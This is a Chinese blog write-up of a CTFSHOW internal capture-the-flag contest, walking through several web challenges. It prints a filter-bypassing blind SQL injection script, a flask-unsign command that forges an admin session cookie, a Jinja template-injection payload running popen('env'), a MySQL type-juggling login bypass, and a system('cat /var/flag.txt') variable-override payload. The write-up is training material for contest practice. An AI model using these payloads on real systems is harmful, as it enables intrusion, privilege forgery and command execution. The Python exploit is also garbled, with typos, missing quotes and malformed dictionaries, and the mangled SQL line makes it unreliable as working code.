684 字
3 分钟
CTFSHOW 内部赛
2026-03-17

1,签到题#

拿到源码:

login.php:

sql="selectusernamefromtest1whereemail=′sql ="select username from test1 where email='e’ and password=‘$p’”;

register.php:

过滤关键字:load,and,or,select,union,sleep,ascii

符号:| & , =

特殊符号:空格 \

exploit.py:

import re

import request

base_url=https://62cca9a0-dd85-4e68-9b7c-a3c6d11d93f1.challenge.ctf.show/

url1=base_url+‘register.php’

url2=base_ur+‘login.php’

payload=“hex(hex(substr(select//flag//from//flag//)from//“+str(i)+“//for/**/1))),/*”

print(paylaod)

#两次十六进制转换保证字符串为纯数字字符串,绕过’过滤,mysql 能识别十六进制字面量,但关键字不能十六进制转换

#使用 substr()将 flag 的字符一个一个读出来,不能使用 union select 一次返回,同时长度可能存在限制

#使用 substr(..from..)绕过逗号过滤

#/*正确闭合后面内容

s.request.session()

data1={

‘e’(i+30)+”‘,username=“+payload,

‘u’:*/ ,#和 payload 中的/*完成闭合

‘p’+30

}

res1=s.post(url1,data1)

print(data[‘e’])

data2={

‘e’+30,

‘p’+30

}

res2=s.post(url2,data=data2)

result=re.findall(“Hello (.*?),“,result)[0]

flag+=result

print(flag)

完整流程:

注册请求

email = “30’,username=hex(hex(substr(…))),/*”

username = ”*/#”

后端执行SQL

INSERT INTO users SET email=‘30’,

username=hex(hex(substr(flag from 1 for 1))),

password=‘30’ │

#username 被设置为 flag第一个字符的 hex(hex) 值

登录请求 │

用刚才注册的账号登录,获取 “Hello xxx,” 中的 xxx

收集所有hex值 → unhexlify两次 → 得到完整flag

2.出题人不想说话#

不知道为什么复现不出来

3.蓝瘦#

查看页面源码发现有 param;ctfshow key 参数

直接登录回显 admi

怎么测试都没反应,回显 admin 有没有可能是暗示我们权限问题

cookie 看起来像是 jwt 加密的报文,尝试 base64 解密,解密结果:{“username”:""}i�� �ج��j�>��������

正常 jwt 解密应该有算法 alg 等信息,但是这个只有 username 信息,所以是 flask 的 session cookie 签名漏洞,那么 key 也就是 ican 了

flask-unsign —sign —cookie ”{‘username’:‘admin’}” —secret ican

eyJ1c2VybmFtZSI6ImFkbWluIn0.abqxew.DqDumJv9FFWcKHqBsKkmAxfYSWw

使用脚本一键签名

替换 cookie 后请求回显缺少参数

将参数替换为前面看到的 pram,成功回显参数值,结合题目内存 flag 猜测为 ssti 注入

啥也没过滤:?ctfshow={{config.class.init.globals[‘os’].popen(‘env’).read()}}

在环境变量中找到 flag

4.一览无余#

识别网站信息,找到CVE-2019-11043 ,直接 poc

5.登录就有 flag#

使用 admin admin123 登录,跳转到 check.php,回显 2log 奇怪字符

尝试其他密码,发现密码大于 5 位时就回显奇怪字符

尝试 sql 注入,发现等号,双引号,反斜杠都会触发 waf,回显 hack,那么回显 2log 也是 waf 了,限制字符串长度最大为 5

看下题解发现涉及到 mysql 弱类型转换,和 php 弱比较差不多

mysql 是弱类型比较库,比较时会自动转换类型

‘123abc’=123 true ‘abc123’=0 true ‘abc123’==123 false

mysqk 尝试将字符串转换为数字,从左往右若是数字开头就转换成数字,否则转换成 0

所以将 username 输入变为数字就能匹配所有字符开头的数据 0==admin true

payload:‘^0# 拼接形成 username=”^0# ”与 0 异或得到数字 0,回显数据

还可以:’^”#

6.签退#

变量覆盖

?S=a=system(‘cat /var/flag.txt’)

看似签退实则签到,看似签到实则签退

CTFSHOW 内部赛
https://lab404.cn/posts/ctfshow-internal/
作者
见山
发布于
2026-03-17
许可协议
CC BY-NC-SA 4.0